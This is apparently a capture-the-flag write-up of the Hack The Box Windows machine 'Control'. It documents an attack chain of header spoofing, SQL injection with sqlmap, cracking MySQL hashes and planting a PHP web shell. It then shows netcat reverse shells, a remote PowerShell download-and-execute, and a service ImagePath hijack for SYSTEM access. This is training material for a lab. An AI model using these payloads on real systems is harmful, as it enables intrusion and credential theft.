HTB - Windows Control

HTB - Windows Control

We have to start this box by bypassing IP access restriction spoofing an IP with X-Forwarded-Host, giving us access to a web app. This admin panel is vulnerable to a SQL injection we could use to dump the database and retrieved some account and then read and write files to the filesystem. With the write access we could write a web shell to execute PHP commands and later run Powershell commands to login as the user.

To elevate our privileges we could abuse too permissive permission on a service to modify it configuration and restart the service, starting our reverse shell as nt authority

nodody - user

Checking nmap out

$ nmap -sS -sV -sC -O -p- -vvv -T4 --reason -oN 10.10.10.167.txt 10.10.10.167

PORT      STATE SERVICE REASON          VERSION
80/tcp    open  http    syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Fidelity
135/tcp   open  msrpc   syn-ack ttl 127 Microsoft Windows RPC
3306/tcp  open  mysql?  syn-ack ttl 127
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, GetRequest, HTTPOptions, Help, Kerberos, NULL, RPCCheck, RTSPRequest, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe: 
|_    Host '10.10.14.17' is not allowed to connect to this MariaDB server
| mysql-info: 
|_  MySQL Error: Host '10.10.14.17' is not allowed to connect to this MariaDB server
49666/tcp open  msrpc   syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc   syn-ack ttl 127 Microsoft Windows RPC

In my opinion they are two interesting port, 80 and 3306 which is the default port for http server andmysql database.

admin panel access

However we can’t query the mysql server for the moment.

$ mysql -h 10.10.10.167

ERROR 1130 (HY000): Host '10.10.14.17' is not allowed to connect to this MariaDB server

On the web server side, we could identify a nice endpoint - the others pages are just static cyberbullshit - but we can’t access to it directly.

$ curl http://10.10.10.167/admin.php                         

Access Denied: Header Missing. Please ensure you go through the proxy to access this page

Looking at the source code of the main page, I saw the following comment :

$ curl http://10.10.10.167/

<!DOCTYPE html>
<html lang="en">

<head>
        <title>Fidelity</title>
        <meta charset="utf-8">
        <script type="text/javascript" src="assets/js/functions.js"></script>
        <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" />
        <link rel="stylesheet" href="assets/css/main.css" />
        <noscript>
                <link rel="stylesheet" href="assets/css/noscript.css" /></noscript>
</head>

<body class="is-preload landing">
        <div id="page-wrapper">
                <!-- To Do:
                        - Import Products
                        - Link to new payment system
                        - Enable SSL (Certificates location \\192.168.4.28\myfiles)
                <!-- Header -->

Without hesitation it indicates us to provide a HTTP header like X-Forwarded-For or X-Forwarded-Host with the following value 192.168.4.28.

$ curl http://10.10.10.167/admin.php -H "X-Forwarded-For: 192.168.4.28"

<!DOCTYPE html>
<html lang="en">

<head>
        <title>Fidelity</title>
        <meta charset="utf-8">
        <script type="text/javascript" src="assets/js/functions.js"></script>
        <script type="text/javascript" src="assets/js/checkValues.js"></script>
        <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" />
        <link rel="stylesheet" href="assets/css/main.css" />
        <noscript>
                <link rel="stylesheet" href="assets/css/noscript.css" />
        </noscript>
</head>

Bingo, we have access to the admin page. In this page we can edit item like for a product management web app, searching for product, modifying it prices and so on.

SQL Injection

Looking at the HTTP request with Burp, it really look likes SQLi vulnerable queries ..

POST /search_products.php HTTP/1.1
Host: 10.10.10.167
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Origin: http://10.10.10.167
Connection: close
Referer: http://10.10.10.167/admin.php
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 192.168.4.28

productName=Cloud

We can easily load it in sqlmap

if the -r options indicates a file not found, git clone it from Github official repo.

$ sqlmap -r search.sqlmap -p productName --dbs
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.4.1.4#dev}
|_ -| . [,]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:28:42 /2020-02-18/

[23:28:42] [INFO] parsing HTTP request from 'search.sqlmap'
[23:28:42] [INFO] resuming back-end DBMS 'mysql'
[23:28:42] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: productName (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: productName=-5126' OR 1420=1420#

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: productName=Cloud' AND (SELECT 6487 FROM(SELECT COUNT(*),CONCAT(0x71627a7671,(SELECT (ELT(6487=6487,1))),0x7176717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ZlxZ

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: productName=Cloud';SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: productName=Cloud' AND (SELECT 2423 FROM (SELECT(SLEEP(5)))ShPo)-- XLjf

    Type: UNION query
    Title: MySQL UNION query (NULL) - 6 columns
    Payload: productName=Cloud' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71627a7671,0x706567716b6669686a636b505a584d6a6c667247506d6d49556c506d446565665571525079427068,0x7176717671),NULL,NULL#
---
[23:28:43] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
[23:28:43] [INFO] fetching database names
available databases [3]:
[*] information_schema
[*] mysql
[*] warehouse

[23:28:43] [INFO] fetched data logged to text files under '/home/switch/.sqlmap/output/10.10.10.167'

[*] ending @ 23:28:43 /2020-02-18/

So it’s vulnerable to union query sql injection style.

I love the --sql-shell option of sqlmap, it way faster when you know myql. As I always I use https://sqlwiki.netspi.com/attackQueries/informationGathering/#mysql to gather information from the db

sql-shell> SELECT @@version
[23:31:42] [INFO] fetching SQL SELECT statement query output: 'SELECT @@version'
SELECT @@version: '10.4.8-MariaDB'

sql-shell> SELECT user()
[23:31:47] [INFO] fetching SQL SELECT statement query output: 'SELECT user()'
SELECT user(): 'manager@localhost'

sql-shell> SELECT system_user()
[23:31:53] [INFO] fetching SQL SELECT statement query output: 'SELECT system_user()'
SELECT system_user(): 'manager@localhost'

sql-shell> SELECT user FROM mysql.user
[23:31:59] [INFO] fetching SQL SELECT statement query output: 'SELECT user FROM mysql.user'
SELECT user FROM mysql.user [3]:
[*] hector
[*] manager
[*] root

sql-shell> SELECT schema_name FROM information_schema.schemata
[23:32:07] [INFO] fetching SQL SELECT statement query output: 'SELECT schema_name FROM information_schema.schemata'
SELECT schema_name FROM information_schema.schemata [3]:
[*] information_schema
[*] mysql
[*] warehouse

sql-shell> SELECT host, user, password FROM mysql.user
[23:32:19] [INFO] fetching SQL SELECT statement query output: 'SELECT host, user, password FROM mysql.user'
SELECT host, user, password FROM mysql.user [6]:
[*] localhost, root, *0A4A5CAD344718DC418035A1F4D292BA603134D8
[*] fidelity, root, *0A4A5CAD344718DC418035A1F4D292BA603134D8
[*] 127.0.0.1, root, *0A4A5CAD344718DC418035A1F4D292BA603134D8
[*] ::1, root, *0A4A5CAD344718DC418035A1F4D292BA603134D8
[*] localhost, manager, *CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
[*] localhost, hector, *0E178792E8FC304A2E3133D535D38CAF1DA3CD9D

sql-shell> SELECT @@datadir
[23:32:26] [INFO] fetching SQL SELECT statement query output: 'SELECT @@datadir'
SELECT @@datadir: 'C:\\MariaDB\\'

sql-shell> SELECT LOAD_FILE('c:\windows\system32\drivers\etc\hosts')
[23:32:50] [INFO] fetching SQL SELECT statement query output: 'SELECT LOAD_FILE('c:\windows\system32\drivers\etc\hosts')'
SELECT LOAD_FILE('c:\windows\system32\drivers\etc\hosts'): '# Copyright (c) 1993-2009 Microsoft Corp.\r\n#\r\n# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.\r\n#\r\n# This file contains the mappings of IP addresses to host names. Each\r\n# entry should be kept on an individual line. The IP address should\r\n# be placed in the first column followed by the corresponding host name.\r\n# The IP address and the host name should be separated by at least one\r\n# space.\r\n#\r\n# Additionally, comments (such as these) may be inserted on individual\r\n# lines or following the machine name denoted by a '#' symbol.\r\n#\r\n# For example:\r\n#\r\n#      102.54.94.97     rhino.acme.com          # source server\r\n#       38.25.63.10     x.acme.com              # x client host\r\n\r\n# localhost name resolution is handled within DNS itself.\r\n#\t127.0.0.1       localhost\r\n#\t::1             localhost\r\n'
sql-shell>

Interesting, we have :

  • a list of user and it passwords

  • the location of the db on disk

  • we can read file on disk

As it can take time I directly tried to break the hashes. I didn’t know about this hash format but thanks to hashID I could identify them quickly and get the associated john format

$ ./hashid.py -j

*0A4A5CAD344718DC418035A1F4D292BA603134D8
Analyzing '*0A4A5CAD344718DC418035A1F4D292BA603134D8'
[+] MySQL5.x [JtR Format: mysql-sha1]
[+] MySQL4.1 [JtR Format: mysql-sha1]

And firring john :

john --wordlist=/usr/share/wordlists/rockyou.txt --format=mysql-sha1 mysql_hash.txt

Using default input encoding: UTF-8
Loaded 3 password hashes with no different salts (mysql-sha1, MySQL 4.1+ [SHA1 128/128 AVX 4x])
Warning: no OpenMP support for this hash type, consider --fork=12
Press 'q' or Ctrl-C to abort, almost any other key for status
l33th4x0rhector  (hector)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:01 DONE (2020-02-18 23:39) 0.6896g/s 9890Kp/s 9890Kc/s 24197KC/s *7¡Vamos!..Welcome123!
Use the "--show" option to display all of the cracked passwords reliably
Session completed

So now we have hector:l33th4x0rhector !

web shell upload

I dumped the whole db but it was empty so I moved on other entry points. We can read file on disk so I tried to read the user.txt flag but I couldn’t, the mariadb server running with a different user than Hector.

On mysql we can check if we have the permission to write on disk with following commands

sql-shell> select @@secure_file_priv;
select @@secure_file_priv: ' '

sql-shell> select @@global.secure_file_priv;
select @@global.secure_file_priv: ' '

If their content is empty it’s mean we can ! So I decided to grant myself a webshell. Usually the root of the IIS application is at c:/inetpub/wwwroot/ so I tried

sql-shell> SELECT "<pre><?php system($_GET['cmd']); ?></pre>" INTO OUTFILE 'c:/inetpub/wwwroot/7868768678.php'

SELECT "<pre><?php system($_GET['cmd']); ?></pre>" INTO OUTFILE 'c:/inetpub/wwwroot/7868768678.php': 'NULL'

and now testing if it was successfully written

$ curl "http://10.10.10.167/7868768678.php?cmd=whoami"

<pre>nt authority\iusr
</pre>

Hell yeah we have a nice tiny webshell.

Idea I had which didn’t worked

I also tried to copy some exe from a smb server and start a bind/reverse shell but nothing worked at the moment. I made some mistakes and I realized later why.

IUSR - Hector

I used the same technic as on HTB - Sniper with a python wrapper for Powershell. I wanted to run command as Hector using Invoke-Command cmdlet.

from requests import get
from re import findall, DOTALL
from base64 import b64encode

url = "http://10.10.10.167/y.php?cmd=powershell.exe -encodedcommand {}"
payload = "$u = 'CONTROL\\hector';$p = convertto-securestring 'l33th4x0rhector' -asplaintext -force;$cred=new-object -typename System.Management.Automation.PSCredential -argumentlist $u,$p;Invoke-Command -ScriptBlock {{ powershell -encodedCommand {0} }} -Credential $cred -Computer localhost"

cmd = None

while cmd != "":

    stage1 = payload.format(b64encode(input("> ").encode("UTF-16LE")).decode("utf-8"))

    res = get(url.format(b64encode(stage1.encode("UTF-16LE")).decode("utf-8")))
    out = findall(r"<pre>(.*)<\/pre>", res.text, DOTALL)[0]
    print("\n" + out.replace("\r\n", "\n"))

Hosting a copy of nc64.exe on a smb server I could copy it on the machine and run it to have a reverse shell.

$ rlwrap python poc.py
> .\nc64.exe 10.10.14.17 4444 -e powershell.exe


$ rlwrap nc -lvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.167 49940
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\Hector\Documents> type ..\Desktop\user.txt
type ..\Desktop\user.txt
d8782dd01fb15b72c4b5ba77ef2d472b
PS C:\Users\Hector\Documents>

We are now the user Hector, looking for Admin rights !

user - administrator

This box was my first time using winpeas.exe, it’s a enumeration script (or binary in this case) similar to LinEnum.sh for Linux for the ones who knows. Here some snippets of it findings

[+] RDP Sessions(T1087&T1033)
    SessID    pSessionName   pUserName      pDomainName              State     SourceIP
    1         Console        Hector         CONTROL                  Active

  [+] Ever logged users(T1087&T1033)
  [X] Exception: System.Management.ManagementException: Access denied
   at System.Management.ThreadDispatch.Start()
   at System.Management.ManagementScope.Initialize()
   at System.Management.ManagementObjectSearcher.Initialize()
   at System.Management.ManagementObjectSearcher.Get()
   at winPEAS.UserInfo.GetEverLoggedUsers()
    Not Found

  [+] Looking for AutoLogon credentials(T1012)
Some AutoLogon credentials were found!!
    DefaultDomainName             :  CONTROL
    DefaultUserName               :  Hector

  [+] Home folders found(T1087&T1083&T1033)
    C:\Users\Administrator
    C:\Users\All Users
    C:\Users\Default
    C:\Users\Default User
    C:\Users\Hector
    C:\Users\Public

  [+] Password Policies(T1201)
   [?] Check for a possible brute-force
    Domain: Builtin
    SID: S-1-5-32
    MaxPasswordAge: 42.22:47:31.7437440
    MinPasswordAge: 00:00:00
    MinPasswordLength: 0
    PasswordHistoryLength: 0
    PasswordProperties: 0
   =================================================================================================

    Domain: CONTROL
    SID: S-1-5-21-3271572904-80546332-2170161114
    MaxPasswordAge: 42.22:47:31.7437440
    MinPasswordAge: 00:00:00
    MinPasswordLength: 0
    PasswordHistoryLength: 0
    PasswordProperties: 0
   =================================================================================================

A file grabbed my attention at the end of the enumeration : C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt. It’s the win equivalent of the .bash_history file. More information about can be found at https://0xdf.gitlab.io/2018/11/08/powershell-history-file.html and http://woshub.com/powershell-commands-history/

And it content :

get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list

information about windows services

Hector was looking up at the CurrentControlSet key from the HKEY_LOCAL_MACHINE hive which contains 6 others keys

  • Control : windows configuration

  • Enum : Hardware config

  • Hardware profiles : Hardware profiles config

  • Policies

  • Services : Windows services list

  • Software

The first command get-childitem HKLM:\SYSTEM\CurrentControlset | format-list will return information about these 6 keys for example :

Property      : {}
PSPath        : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services
PSParentPath  : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset
PSChildName   : Services
PSDrive       : HKLM
PSProvider    : Microsoft.PowerShell.Core\Registry
PSIsContainer : True
SubKeyCount   : 667
View          : Default
Handle        : Microsoft.Win32.SafeHandles.SafeRegistryHandle
ValueCount    : 0
Name          : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services

Now a bit more about HKLM\SYSTEM\CurrentControlSet\Services.

The **HKLM* registry tree stores information about each service on the system. […]

From the Microsoft documentation. We can get information about a services with the Powershell command get-WmiObject win32_services (but need some permissions)

PS C:\Users\switch\Documents\powershell_scripts> get-WmiObject win32_service | select name, state

name                                     state
----                                     -----
agent_ovpnconnect                        Running
AJRouter                                 Stopped
ALG                                      Stopped
AppIDSvc                                 Stopped
Appinfo                                  Running
AppReadiness                             Stopped
AppXSvc                                  Stopped
AudioEndpointBuilder                     Running
Audiosrv                                 Running
autotimesvc                              Stopped
[...]

or get-service but you need to know which service you want (getting all services require more permissions).

PS C:\Users\Hector\Documents> get-service wuauserv | format-list
get-service wuauserv | format-list

Name                : wuauserv
DisplayName         : Windows Update
Status              : Stopped
DependentServices   : {}
ServicesDependedOn  : {rpcss}
CanPauseAndContinue : False
CanShutdown         : False
CanStop             : False
ServiceType         : Win32ShareProcess

It gives information about the service once registered. As said before all services are described in HKLM\SYSTEM\CurrentControlSet\Services so we can have more information about this services browsing it keys.

PS C:\Users\Hector\Documents> get-itemproperty HKLM:\System\CurrentControlSet\services\wuauserv

DependOnService     : {rpcss}
Description         : @%systemroot%\system32\wuaueng.dll,-106
DisplayName         : @%systemroot%\system32\wuaueng.dll,-105
ErrorControl        : 1
FailureActions      : {128, 81, 1, 0...}
ImagePath           : C:\Windows\system32\svchost.exe -k netsvcs -p
ObjectName          : LocalSystem
RequiredPrivileges  : {SeAuditPrivilege, SeCreateGlobalPrivilege, SeCreatePageFilePrivilege,
                      SeTcbPrivilege...}
ServiceSidType      : 1
Start               : 3
SvcMemHardLimitInMB : 246
SvcMemMidLimitInMB  : 167
SvcMemSoftLimitInMB : 88
Type                : 32
PSPath              : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlt\services\wuauserv
PSParentPath        : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControl
                      Set\services
PSChildName         : wuauserv
PSDrive             : HKLM
PSProvider          : Microsoft.PowerShell.Core\Registry

There are many entry in this key but we will focus on the following:

  • ImagePath : """ the binary which is launched by the services """ (not very accurate sorry)

  • ObjectName : the service account associated to the running service, here LocalSystem which is nt authority\system

  • PSChildName : name of the service

So, this is where services are “stored” and how they are described. As every object on Windows they have ACL on it just to avoid that everybody change some services configuration or disable it. We can have theses information with the get-acl Powershell function.

PS C:\Users\Hector\Documents>  get-acl HKLM:\System\CurrentControlSet\services\wuauserv | format-list

Path   : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\wuauserv
Owner  : NT AUTHORITY\SYSTEM
Group  : NT AUTHORITY\SYSTEM
Access : APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadKey
         NT AUTHORITY\SYSTEM Allow  FullControl
         CREATOR OWNER Allow  FullControl
         NT AUTHORITY\Authenticated Users Allow  ReadKey
         NT AUTHORITY\SYSTEM Allow  FullControl
         CONTROL\Hector Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
Audit  :
Sddl   : O:SYG:SYD:AI(A;CIID;KR;;;AC)(A;ID;KA;;;SY)(A;CIIOID;KA;;;CO)(A;CIID;KR;;;AU)(A;CIIOID;KA;
         ;;SY)(A;CIID;KA;;;S-1-5-21-3271572904-80546332-2170161114-1000)(A;CIID;KA;;;BA)

It’s not very hard to understand, there is the owner and group owner of the key and the permission associated to the different users. FullControl allow us to do whatever we want to this key, a bit like 7 in *nix system. In this case if we are NT AUTHORITY\SYSTEM, CREATOR OWNER, CONTROL\Hector or BUILTIN\Administrators we can do whatever we want to this key.

There is also permission on the service itself (and not it’s configuration) and we can check it with

$ sc.exe sdshow wuauserv
D:(A;;CCLCSWRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY

you may wont have the permission to get it ..

This strange string is a Security Description Definition Language object, we can easily parse it with https://github.com/itsKindred/sdshow_parse

So every authenticated user can start this service but can’t stop it.

I didn’t find a very reliable way to know if we have the permission to start or stop a service so the best way is to try to start it then stop it.

Moreover if you script something which start every service and make a difference with it previous state you should consider that some service auto stop few second later so it’s very hard to have an accurate list of startable and stopable services.

unsecure service exploitation

As you have seen with the get-acl command on the wuauserv service CONTROL\Hecktor has full access on it. It means we can modify each subkey in the registry for this service. Modifying each sub key means we can change the service configuration like the ImagePath value which is the program launched when the service starts.

Some readings about unsecure services :

The first step is to find service where we have full control over it configuration in the registry and which is running as a more privileged user than us like nt authority\system

$items = get-itemproperty HKLM:\SYSTEM\CurrentControlSet\Services\* | where-object { $_.objectname -eq "localsystem" };
$names = $items.PSPath | foreach { $_.split("\")[-1] };
$services = $names | foreach { get-service $_ -erroraction silentlycontinue }

#Create Table object
$table = New-Object system.Data.DataTable "Unsecure Services"
#Define Columns
$col1 = New-Object system.Data.DataColumn "Service"
$col2 = New-Object system.Data.DataColumn "Status"
$col3 = New-Object system.Data.DataColumn "Owner"

#Add the Columns
$table.columns.add($col1)
$table.columns.add($col2)
$table.columns.add($col3)

$services | ForEach-Object {

   $f = $_.name
   $full_control =  get-acl HKLM:\System\CurrentControlSet\services\$f | ? { $_.AccessToString -like "*Hector Allow  FullControl*" }

   #Create a row
   $row = $table.NewRow()

   #Enter data in the row
   $row.Service = $_.name
   $row.Status = $_.status
   $row.Owner =  $full_control.Owner

   $table.Rows.Add($row)
}

#Display the table
$table | format-table -AutoSize

First we fetch all entry in the registry where ObjectName is equal to localsystem to have nt authority rights, then we ensure they are services. And finally for each services found we check if Hector has full control on it.

PS C:\Users\Hector\Documents> Invoke-Expression (New-Object Net.WebClient).DownloadString('http://10.10.14.22/test.ps1')

Service                Status  Owner
-------                ------  -----
AppMgmt                Stopped NT AUTHORITY\SYSTEM
AppVClient             Stopped NT AUTHORITY\SYSTEM
BrokerInfrastructure   Running NT AUTHORITY\SYSTEM
ClipSVC                Running NT AUTHORITY\SYSTEM
ConsentUxUserSvc       Stopped NT AUTHORITY\SYSTEM
DcomLaunch             Running
DevicePickerUserSvc    Stopped NT AUTHORITY\SYSTEM
DevicesFlowUserSvc     Stopped NT AUTHORITY\SYSTEM
dmwappushservice       Stopped NT AUTHORITY\SYSTEM
DsSvc                  Running NT AUTHORITY\SYSTEM
EFS                    Running NT AUTHORITY\SYSTEM
LSM                    Running NT AUTHORITY\SYSTEM
NetSetupSvc            Stopped NT AUTHORITY\SYSTEM
NgcSvc                 Stopped NT AUTHORITY\SYSTEM
PimIndexMaintenanceSvc Stopped NT AUTHORITY\SYSTEM
PrintWorkflowUserSvc   Stopped NT AUTHORITY\SYSTEM
RasAuto                Stopped
RasMan                 Running
RemoteAccess           Stopped
RSoPProv               Stopped NT AUTHORITY\SYSTEM
SamSs                  Running
Schedule               Running NT AUTHORITY\SYSTEM
seclogon               Running NT AUTHORITY\SYSTEM
SecurityHealthService  Running NT AUTHORITY\SYSTEM
SENS                   Running NT AUTHORITY\SYSTEM
SensorService          Running NT AUTHORITY\SYSTEM
Spooler                Running NT AUTHORITY\SYSTEM
SystemEventsBroker     Running NT AUTHORITY\SYSTEM
UevAgentService        Stopped NT AUTHORITY\SYSTEM
UnistoreSvc            Stopped NT AUTHORITY\SYSTEM
UserDataSvc            Stopped NT AUTHORITY\SYSTEM
UsoSvc                 Stopped NT AUTHORITY\SYSTEM
vds                    Stopped NT AUTHORITY\SYSTEM
WaaSMedicSvc           Stopped NT AUTHORITY\SYSTEM
WinDefend              Running NT AUTHORITY\SYSTEM
WpnUserService         Stopped NT AUTHORITY\SYSTEM
wuauserv               Stopped NT AUTHORITY\SYSTEM

We could also have used accesschk.exe to find our permission on services or registry key but I wanted to script to lean

.\accesschk.exe "Hector" -kvuqsw hklm\System\CurrentControlSet\services

As it’s hard to find if we have stop or start permission over service I will use a service already stopped like wuauserv. Now we have to modify the ImagePath in the registry configuration

PS C:\Users\Hector\Documents> reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\wuauserv" /t REG_EXPAND_SZ /v ImagePath /d "cmd.exe /c C:\Users\Hector\Documents\nc64.exe  10.10.14.22 4446 -e Powershell.exe"  /f
reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\wuauserv" /t REG_EXPAND_SZ /v ImagePath /d "cmd.exe /c C:\Users\Hector\Documents\nc64.exe  10.10.14.22 4446 -e Powershell.exe"  /f
The operation completed successfully.

PS C:\Users\Hector\Documents> sc.exe start wuauserv
sc.exe start wuauserv

or

sc config SERVICENAME binPath= "payload"

And without forgetting to open a netcat connexion on our machine.

$ rlwrap nc -lvp 4446
Listening on 0.0.0.0 4446
Connection received on 10.10.10.167 49971
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
whoami
nt authority\system
PS C:\Windows\system32> systeminfo
systeminfo

Host Name:                 CONTROL
OS Name:                   Microsoft Windows Server 2019 Standard

And finally the root flag : 8f8613f5b4da391f36ef11def4cec1b1

This last part made me learn so much thing about windows, especially registry, dacl, powershell and services.

But powershell scripting is such a pain, ms docs are such a pain and everything is such a pain. I lost so much hair trying to understand every aspect of this priv esc .. But well was a nice trip in hell.

I promised will put more screenshots in the next posts ..